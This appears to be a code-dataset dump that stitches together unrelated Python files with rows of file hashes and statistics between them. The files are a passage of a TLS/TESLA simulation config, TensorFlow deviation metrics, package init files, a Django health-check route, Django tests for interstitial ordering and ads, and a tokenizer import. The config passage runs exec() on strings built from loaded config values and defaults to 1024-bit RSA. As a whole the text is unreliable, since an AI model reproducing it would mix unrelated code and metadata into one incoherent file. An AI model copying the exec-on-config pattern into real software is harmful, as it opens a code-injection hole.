TLSH_SERVER_REC_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_SERVER_REC_FINISHED_PRF_ALG = PRF.DUMMY
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_PRF_MASTER_SEC_GENERATION', 'DEFAULT', PRF.DUMMY)
TLSH_CLIENT_REC_FINISHED_PRF_ALG = PRF.DUMMY
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_REC_FINISHED_PRF_ALG', 'DEFAULT', PRF.DUMMY)
TLSH_CLIENT_REC_FINISHED_CONTENT_SIZE = 100
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_REC_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000)
TLSH_CLIENT_REC_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_SERVER_SEND_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_SERVER_SEND_FINISHED_CONTENT_SIZE = 100
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_SEND_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000)
TLSH_SERVER_SEND_FINISHED_PRF_ALG = PRF.DUMMY
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_SEND_FINISHED_PRF_ALG', 'DEFAULT', PRF.DUMMY)
TLSH_CLIENT_SEND_FINISHED_PRF_ALG = PRF.DUMMY
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_SEND_FINISHED_PRF_ALG', 'DEFAULT', PRF.DUMMY)
TLSH_CLIENT_SEND_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
TLSH_CLIENT_SEND_FINISHED_CONTENT_SIZE = 100
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_SEND_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000)
TLSH_CERT_REQUEST_SEND_SIZE = 250
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CERT_REQUEST_SEND_SIZE', 'DEFAULT', 100)
TLSH_CERT_SEND_SIZE = 1000 # Size of one certificate when it is sent
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CERT_SEND_SIZE', 'X509', 1000)
TLSH_SERVER_HELLO_SEND_SIZE = 60
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_HELLO_SEND_SIZE', 'DEFAULT', 100)
TLSH_SERVER_HELLO_DONE_SEND_SIZE = 10
reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_HELLO_DONE_SEND_SIZE', 'DEFAULT', 10)
#===============================================================================
# TESLA
#===============================================================================
# Chain length for Key creation
TESLA_KEY_CHAIN_LEN = 100000
reg.reg_proj_config('TESLA', 'TESLA_KEY_CHAIN_LEN', 'DEFAULT', 100000)
# MAC Algorithm used
TESLA_MAC_KEY_ALGORITHM = SymAuthMechEnum.AES
reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_ALGORITHM', 'AES', SymAuthMechEnum.AES)
TESLA_MAC_KEY_LEN = AuKeyLengthEnum.bit_128
reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128)
reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
TESLA_MAC_SIZE_TRANSMIT = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
# PRF Method used to create the Key Chain
TESLA_PRF_KEY_CHAIN = PRF.DUMMY
reg.reg_proj_config('TESLA', 'TESLA_PRF_KEY_CHAIN', 'DUMMY', PRF.DUMMY)
# PRF Method used to generate the MAC Key
TESLA_PRF_MAC_KEY = PRF.DUMMY
reg.reg_proj_config('TESLA', 'TESLA_PRF_MAC_KEY', 'DUMMY', PRF.DUMMY)
TESLA_KEY_LEGID_MAC_ALGORITHM = SymAuthMechEnum.AES
reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_ALGORITHM', 'AES', SymAuthMechEnum.AES)
TESLA_KEY_LEGID_MAC_KEY_LEN = AuKeyLengthEnum.bit_128
reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128)
reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
# Initial Key exchange: Public/Private De/Encyption
TESLA_KEY_EXCHANGE_ENC_ALGORITHM = AsymAuthMechEnum.RSA
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM', 'ECC', AsymAuthMechEnum.ECC)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM', 'RSA', AsymAuthMechEnum.RSA)
TESLA_KEY_EXCHANGE_KEY_LEN = AuKeyLengthEnum.bit_1024
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048)
TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION = 3
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_3', 3)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_5', 5)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_17', 17)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_257', 257)
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_65537', 65537)
# Clear Size of the key exchange message
TESLA_KEY_EXCHANGE_CLEAR_SIZE = 100
reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_CLEAR_SIZE', 'DEFAULT', 100)
# Cipher Size of the key exchange message
TESLA_KEY_EXCHANGE_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE
#===============================================================================
# Calculations to determine actual values
#===============================================================================
# Adds the created variables to the registration object
if create_raw_config_file:
cfg = config_io.ConfigIO()
cfg.generate_raw_cfg(reg, config_file_path, IniConfig.PROJECT)
logging.debug("\n\n--------------------------------------------------------- \nPROJECT SETTINGS\n ")
if load_config:
cfg = config_io.ConfigIO()
out = cfg.load_cfg(reg, config_file_path, IniConfig.PROJECT)
for el in out:
if el == 'SSMA_STREAM_MIN_INTERVAL':
a = 0
exec_str = el[0] + " = el[1]"
exec(exec_str)
#===============================================================================
# DEBUG OUTPUT
#===============================================================================
logging.debug("%s = %s" % (el[0], el[1]))
logging.debug("\nProject Ende\n---------------------------------------------------------\n\n\n")
| 57.04363 | 168 | 0.772441 | 4,522 | 32,686 | 5.113667 | 0.0659 | 0.055527 | 0.092545 | 0.148071 | 0.870308 | 0.833377 | 0.793072 | 0.757438 | 0.725826 | 0.677737 | 0 | 0.031469 | 0.069602 | 32,686 | 572 | 169 | 57.143357 | 0.728914 | 0.129046 | 0 | 0.01108 | 0 | 0 | 0.426629 | 0.240192 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027701 | 0 | 0.027701 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7f0183580923fb6a3286791ab743c07d69c32239 | 7,406 | py | Python | forecaster/models/metrics_v1.py | ZiyangTian/TrajectoryForecaster | 63ab3d7b97ec5dfbb1250af114038a6ad5a7faa9 | [
"MIT"
] | null | null | null | forecaster/models/metrics_v1.py | ZiyangTian/TrajectoryForecaster | 63ab3d7b97ec5dfbb1250af114038a6ad5a7faa9 | [
"MIT"
] | null | null | null | forecaster/models/metrics_v1.py | ZiyangTian/TrajectoryForecaster | 63ab3d7b97ec5dfbb1250af114038a6ad5a7faa9 | [
"MIT"
] | null | null | null | """ Metrics. """
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import tensorflow as tf
from tensorflow.python.ops.metrics_impl import metric_variable
def _square_deviations_in_batch(labels, predictions):
return tf.reduce_sum(tf.square(labels - predictions), axis=-1)
def _deviations_in_batch(labels, predictions):
return tf.sqrt(_square_deviations_in_batch(labels, predictions))
def _square_destination_deviations_in_batch(labels, predictions):
return tf.reduce_sum(
tf.square(labels[:, -1, :] - predictions[:, -1, :]),
axis=-1)
def _destination_deviations_in_batch(labels, predictions):
return tf.sqrt(_square_destination_deviations_in_batch(labels, predictions))
def maximum(values,
metrics_collections=None,
updates_collections=None,
name=None):
with tf.compat.v1.variable_scope(name, 'maximum', [values]):
values = tf.compat.v1.to_float(values)
max_value = metric_variable([], tf.float32, name='max_value')
values_max = tf.math.reduce_max(values, axis=None)
with tf.control_dependencies([values]):
update_op = tf.math.maximum(max_value, values_max)
with tf.control_dependencies([update_op]):
# TODO: Add distributed evaluation support.
metric_value = update_op
if metrics_collections:
tf.compat.v1.add_to_collections(metrics_collections, metric_value)
if updates_collections:
tf.compat.v1.add_to_collections(updates_collections, update_op)
return metric_value, update_op
def minimum(values,
metrics_collections=None,
updates_collections=None,
name=None):
with tf.compat.v1.variable_scope(name, 'minimum', [values]):
values = tf.compat.v1.to_float(values)
min_value = metric_variable([], tf.float32, name='max_value')
values_min = tf.math.reduce_min(values, axis=None)
with tf.control_dependencies([values]):
update_op = tf.cond( # `min_value` is initiated with zero.
tf.equal(min_value, 0.),
true_fn=lambda: values_min,
false_fn=lambda: tf.math.minimum(min_value, values_min))
with tf.control_dependencies([update_op]):
# TODO: Add distributed evaluation support.
metric_value = update_op
if metrics_collections:
tf.compat.v1.add_to_collections(metrics_collections, metric_value)
if updates_collections:
tf.compat.v1.add_to_collections(updates_collections, update_op)
return metric_value, update_op
mean = tf.compat.v1.metrics.mean
mean_square_error = tf.compat.v1.metrics.mean_squared_error
mean_absolute_error = tf.compat.v1.metrics.mean_absolute_error
def mean_deviation(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
name=None):
with tf.name_scope(name or 'mean_deviation'):
deviations = _deviations_in_batch(labels, predictions)
return mean(
deviations,
weight=weights,
metrics_collections=metrics_collections,
updates_collections=updates_collections)
def max_deviation(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
name=None):
if weights is not None:
tf.compat.v1.logging.warn('Argument `weights` is not supported in function `max_deviation`, neglected.')
del weights
with tf.name_scope(name or 'max_deviation'):
deviations = _deviations_in_batch(labels, predictions)
return maximum(
deviations,
metrics_collections=metrics_collections,
updates_collections=updates_collections)
def min_deviation(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
name=None):
if weights is not None:
tf.compat.v1.logging.warn('Argument `weights` is not supported in function `min_deviation`, neglected.')
del weights
with tf.name_scope(name or 'min_deviation'):
deviations = _deviations_in_batch(labels, predictions)
return minimum(
deviations,
metrics_collections=metrics_collections,
updates_collections=updates_collections)
def mean_destination_deviation(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
name=None):
with tf.name_scope(name or 'mean_destination_deviation'):
destination_deviations = _destination_deviations_in_batch(labels, predictions)
return mean(
destination_deviations,
weight=weights,
metrics_collections=metrics_collections,
updates_collections=updates_collections)
def max_destination_deviation(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
name=None):
if weights is not None:
tf.compat.v1.logging.warn('Argument `weights` is not supported in function '
'`max_destination_deviation`, neglected.')
del weights
with tf.name_scope(name or 'max_destination_deviation'):
destination_deviations = _destination_deviations_in_batch(labels, predictions)
return maximum(
destination_deviations,
metrics_collections=metrics_collections,
updates_collections=updates_collections)
def min_destination_deviation(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
name=None):
if weights is not None:
tf.compat.v1.logging.warn('Argument `weights` is not supported in function '
'`min_destination_deviation`, neglected.')
del weights
with tf.name_scope(name or 'min_destination_deviation'):
destination_deviations = _destination_deviations_in_batch(labels, predictions)
return minimum(
destination_deviations,
metrics_collections=metrics_collections,
updates_collections=updates_collections)
def binary_accuracy(labels,
predictions,
weights=None,
metrics_collections=None,
updates_collections=None,
threshold=0.5,
name=None):
predictions = tf.where(tf.greater(predictions, threshold), tf.ones_like(predictions), tf.zeros_like(predictions))
return tf.compat.v1.metrics.accuracy(
labels,
predictions,
weights=weights,
metrics_collections=metrics_collections,
updates_collections=updates_collections,
name=name)
| 36.845771 | 117 | 0.635296 | 761 | 7,406 | 5.892247 | 0.122208 | 0.108385 | 0.035682 | 0.061552 | 0.841882 | 0.837199 | 0.815343 | 0.795941 | 0.73595 | 0.674621 | 0 | 0.005137 | 0.290305 | 7,406 | 200 | 118 | 37.03 | 0.847983 | 0.017553 | 0 | 0.647799 | 0 | 0 | 0.064951 | 0.018164 | 0 | 0 | 0 | 0.005 | 0 | 1 | 0.081761 | false | 0 | 0.037736 | 0.025157 | 0.201258 | 0.006289 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
615a7233f03387064d18ff17828cefc409b357f7 | 78 | py | Python | hawc_hal/maptree/__init__.py | igherzog/hawc_hal | d76b8d3361c4a6f301487cc86d921c65bed93351 | [
"BSD-3-Clause"
] | 7 | 2020-06-23T01:04:13.000Z | 2022-01-11T23:30:06.000Z | hawc_hal/maptree/__init__.py | igherzog/hawc_hal | d76b8d3361c4a6f301487cc86d921c65bed93351 | [
"BSD-3-Clause"
] | 53 | 2019-03-27T14:14:49.000Z | 2022-03-30T14:58:20.000Z | hawc_hal/maptree/__init__.py | igherzog/hawc_hal | d76b8d3361c4a6f301487cc86d921c65bed93351 | [
"BSD-3-Clause"
] | 10 | 2019-01-15T19:09:26.000Z | 2021-07-31T22:36:36.000Z | from __future__ import absolute_import
from .map_tree import map_tree_factory
| 26 | 38 | 0.884615 | 12 | 78 | 5.083333 | 0.583333 | 0.229508 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 78 | 2 | 39 | 39 | 0.871429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4ee63ac691b0c4133f8682f42a4c44682a3d4142 | 170 | py | Python | pyodbc_unittest/__init__.py | eyashin/pyodbc-unittest | 444b011c55c722ca8f9847e908039186261b2d2b | [
"MIT"
] | 1 | 2021-04-07T16:44:32.000Z | 2021-04-07T16:44:32.000Z | pyodbc_unittest/__init__.py | eyashin/pyodbc-unittest | 444b011c55c722ca8f9847e908039186261b2d2b | [
"MIT"
] | 1 | 2021-04-07T16:44:19.000Z | 2021-04-09T14:42:23.000Z | pyodbc_unittest/__init__.py | eyashin/pyodbc-unittest | 444b011c55c722ca8f9847e908039186261b2d2b | [
"MIT"
] | null | null | null | """Part of the library provides SQL calls for the Python unittest framework"""
from pyodbc_unittest.dbtest import Dbtest
from pyodbc_unittest.dbresult import Dbresult
| 42.5 | 79 | 0.817647 | 24 | 170 | 5.708333 | 0.666667 | 0.145985 | 0.262774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135294 | 170 | 3 | 80 | 56.666667 | 0.931973 | 0.423529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
4eeaa7eefc6ec95e7bf4c8ed94c92592c4714fb4 | 200 | py | Python | yatinder/health_check/urls.py | KitKat-ru/29_pet_project | 5eceb7bd2b79aaad09ae602d203c99dcab09acd2 | [
"MIT"
] | 3 | 2022-02-11T11:16:31.000Z | 2022-02-16T08:26:34.000Z | yatinder/health_check/urls.py | KitKat-ru/29_pet_project | 5eceb7bd2b79aaad09ae602d203c99dcab09acd2 | [
"MIT"
] | null | null | null | yatinder/health_check/urls.py | KitKat-ru/29_pet_project | 5eceb7bd2b79aaad09ae602d203c99dcab09acd2 | [
"MIT"
] | 4 | 2022-02-11T11:23:57.000Z | 2022-02-20T12:32:04.000Z | from __future__ import annotations
from django.urls import path
from health_check.views import health_check_view
app_name = 'health_check'
urlpatterns = [path('', health_check_view, name='index')]
| 22.222222 | 57 | 0.8 | 28 | 200 | 5.321429 | 0.535714 | 0.295302 | 0.201342 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115 | 200 | 8 | 58 | 25 | 0.841808 | 0 | 0 | 0 | 0 | 0 | 0.085 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f604946c370486638a13d114095a476d81d43f03 | 10,703 | py | Python | tests/test_interstitial.py | TreZc0/donation-tracker | 3a833a5eba3c0b7cedd8249b44b1435f526095ba | [
"Apache-2.0"
] | 39 | 2016-01-04T04:13:27.000Z | 2022-01-18T19:17:24.000Z | tests/test_interstitial.py | TreZc0/donation-tracker | 3a833a5eba3c0b7cedd8249b44b1435f526095ba | [
"Apache-2.0"
] | 140 | 2015-11-01T01:19:54.000Z | 2022-03-10T13:00:33.000Z | tests/test_interstitial.py | TreZc0/donation-tracker | 3a833a5eba3c0b7cedd8249b44b1435f526095ba | [
"Apache-2.0"
] | 35 | 2016-01-20T12:42:21.000Z | 2022-01-20T07:06:47.000Z | from django.contrib.auth.models import User
from django.test import TestCase
from django.urls import reverse
from tracker import models
from .util import today_noon, APITestCase
class TestInterstitial(TestCase):
def setUp(self):
self.event1 = models.Event.objects.create(
short='test1', datetime=today_noon, targetamount=5
)
self.event2 = models.Event.objects.create(
short='test2', datetime=today_noon, targetamount=5
)
self.run1 = models.SpeedRun.objects.create(
event=self.event1, name='Test Run 1', order=1
)
self.run2 = models.SpeedRun.objects.create(
event=self.event1, name='Test Run 2', order=2
)
self.run3 = models.SpeedRun.objects.create(
event=self.event1, name='Test Run 3', order=3
)
self.run4 = models.SpeedRun.objects.create(
event=self.event1, name='Test Run 4', order=4
)
self.superuser = User.objects.create_superuser(
'super', 'super@example.com', 'password'
)
def test_closest_run_existing_run(self):
interstitial = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
self.assertEqual(interstitial.run, self.run2)
def test_closest_run_previous(self):
interstitial = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=1
)
self.run3.delete()
self.assertEqual(interstitial.run, self.run2)
def test_closest_run_next(self):
interstitial = models.Interstitial.objects.create(
event=self.event1, order=self.run1.order, suborder=1
)
self.run1.delete()
self.assertEqual(interstitial.run, self.run2)
def test_closest_run_none(self):
interstitial = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
self.run1.delete()
self.run2.delete()
self.run3.delete()
self.run4.delete()
self.assertEqual(interstitial.run, None)
def test_interstitials_for_run(self):
self.run2.delete()
i1 = models.Interstitial.objects.create(
event=self.event1, order=self.run1.order - 1, suborder=1
)
i2 = models.Interstitial.objects.create(
event=self.event1, order=self.run1.order, suborder=2
)
i3 = models.Interstitial.objects.create(
event=self.event1, order=self.run1.order + 1, suborder=1
)
i4 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=1
)
i5 = models.Interstitial.objects.create(
event=self.event1, order=self.run4.order, suborder=2
)
i6 = models.Interstitial.objects.create(
event=self.event1, order=self.run4.order + 1, suborder=1
)
self.assertSetEqual(
set(models.Interstitial.interstitials_for_run(self.run1)), {i1, i2, i3}
)
self.assertSetEqual(
set(models.Interstitial.interstitials_for_run(self.run3)), {i4}
)
self.assertSetEqual(
set(models.Interstitial.interstitials_for_run(self.run4)), {i5, i6}
)
def test_move_interstitial_up_within_run(self):
i1 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
i2 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=2
)
i3 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=3
)
self.client.force_login(self.superuser)
resp = self.client.post(
reverse('tracker:api_v1:interstitial'),
{'id': i3.id, 'order': self.run2.order, 'suborder': i2.suborder,},
)
self.assertEqual(resp.status_code, 200)
i1.refresh_from_db()
i2.refresh_from_db()
i3.refresh_from_db()
self.assertEqual(i1.suborder, 1)
self.assertEqual(i2.suborder, 3)
self.assertEqual(i3.suborder, 2)
def test_move_interstitial_down_within_run(self):
i1 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
i2 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=2
)
i3 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=3
)
self.client.force_login(self.superuser)
resp = self.client.post(
reverse('tracker:api_v1:interstitial'),
{'id': i1.id, 'order': self.run2.order, 'suborder': i2.suborder,},
)
self.assertEqual(resp.status_code, 200)
i1.refresh_from_db()
i2.refresh_from_db()
i3.refresh_from_db()
self.assertEqual(i1.suborder, 2)
self.assertEqual(i2.suborder, 1)
self.assertEqual(i3.suborder, 3)
def test_move_interstitial_up_between_run(self):
i1 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
i2 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=2
)
i3 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=3
)
i4 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=1
)
i5 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=2
)
i6 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=3
)
self.client.force_login(self.superuser)
resp = self.client.post(
reverse('tracker:api_v1:interstitial'),
{'id': i2.id, 'order': self.run3.order, 'suborder': i6.suborder,},
)
self.assertEqual(resp.status_code, 200)
i1.refresh_from_db()
i2.refresh_from_db()
i3.refresh_from_db()
i4.refresh_from_db()
i5.refresh_from_db()
i6.refresh_from_db()
self.assertEqual(i1.suborder, 1)
self.assertEqual(i3.suborder, 2)
self.assertEqual(i4.suborder, 1)
self.assertEqual(i5.suborder, 2)
self.assertEqual(i2.order, self.run3.order)
self.assertEqual(i2.suborder, 3)
self.assertEqual(i6.suborder, 4)
def test_move_interstitial_down_between_run(self):
i1 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
i2 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=2
)
i3 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=3
)
i4 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=1
)
i5 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=2
)
i6 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=3
)
self.client.force_login(self.superuser)
resp = self.client.post(
reverse('tracker:api_v1:interstitial'),
{'id': i5.id, 'order': self.run2.order, 'suborder': i2.suborder,},
)
self.assertEqual(resp.status_code, 200)
i1.refresh_from_db()
i2.refresh_from_db()
i3.refresh_from_db()
i4.refresh_from_db()
i5.refresh_from_db()
i6.refresh_from_db()
self.assertEqual(i1.suborder, 1)
self.assertEqual(i5.order, self.run2.order)
self.assertEqual(i5.suborder, 2)
self.assertEqual(i2.suborder, 3)
self.assertEqual(i3.suborder, 4)
self.assertEqual(i4.suborder, 1)
self.assertEqual(i6.suborder, 2)
def test_move_interstitial_fill_holes(self):
i1 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=1
)
i2 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=3
)
i3 = models.Interstitial.objects.create(
event=self.event1, order=self.run2.order, suborder=5
)
i4 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=3
)
i5 = models.Interstitial.objects.create(
event=self.event1, order=self.run3.order, suborder=7
)
self.client.force_login(self.superuser)
resp = self.client.post(
reverse('tracker:api_v1:interstitial'),
{'id': i2.id, 'order': self.run3.order, 'suborder': -1,},
)
self.assertEqual(resp.status_code, 200)
i1.refresh_from_db()
i2.refresh_from_db()
i3.refresh_from_db()
i4.refresh_from_db()
i5.refresh_from_db()
self.assertEqual(i1.suborder, 1)
self.assertEqual(i3.suborder, 2)
self.assertEqual(i4.suborder, 1)
self.assertEqual(i5.suborder, 2)
self.assertEqual(i2.order, self.run3.order)
self.assertEqual(i2.suborder, 3)
class TestAd(APITestCase):
model_name = 'ad'
@classmethod
def format_ad(cls, ad):
return dict(
fields=dict(
event_id=ad.event_id,
length=ad.length,
ad_type=ad.ad_type,
filename=ad.filename,
order=ad.order,
suborder=ad.suborder,
sponsor_name=ad.sponsor_name,
ad_name=ad.ad_name,
blurb=ad.blurb,
),
model='tracker.ad',
pk=ad.id,
)
def test_ads_endpoint(self):
models.SpeedRun.objects.create(event=self.event, name='Test Run 1', order=1)
ad = models.Ad.objects.create(event=self.event, order=1, suborder=1)
ad.refresh_from_db()
resp = self.client.get(reverse('tracker:api_v1:ads', args=(self.event.id,)))
self.assertEqual(resp.status_code, 403)
self.client.force_login(self.view_user)
resp = self.client.get(reverse('tracker:api_v1:ads', args=(self.event.id,)))
data = self.parseJSON(resp)
self.assertModelPresent(self.format_ad(ad), data)
| 37.819788 | 84 | 0.612819 | 1,268 | 10,703 | 5.069401 | 0.089117 | 0.061605 | 0.10921 | 0.133479 | 0.856565 | 0.815806 | 0.778936 | 0.765868 | 0.761823 | 0.719353 | 0 | 0.037241 | 0.269924 | 10,703 | 282 | 85 | 37.953901 | 0.785385 | 0 | 0 | 0.50566 | 0 | 0 | 0.032514 | 0.012613 | 0 | 0 | 0 | 0 | 0.150943 | 1 | 0.049057 | false | 0.003774 | 0.018868 | 0.003774 | 0.083019 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f60ebdf58b4a9ec02902c171ea7ee3a6e4bae66e | 37 | py | Python | ekorpkit/models/tokenizer/__init__.py | entelecheia/eKorpKit | 9521ae4c4749419fa2b088d1b9e518e5927b7cb8 | [
"CC-BY-4.0"
] | 4 | 2022-02-26T10:54:16.000Z | 2022-02-26T11:01:56.000Z | ekorpkit/models/tokenizer/__init__.py | entelecheia/eKorpKit | 9521ae4c4749419fa2b088d1b9e518e5927b7cb8 | [
"CC-BY-4.0"
] | 1 | 2022-03-25T06:37:12.000Z | 2022-03-25T06:45:53.000Z | ekorpkit/models/tokenizer/__init__.py | entelecheia/eKorpKit | 9521ae4c4749419fa2b088d1b9e518e5927b7cb8 | [
"CC-BY-4.0"
] | null | null | null | from .trainer import train_tokenizer
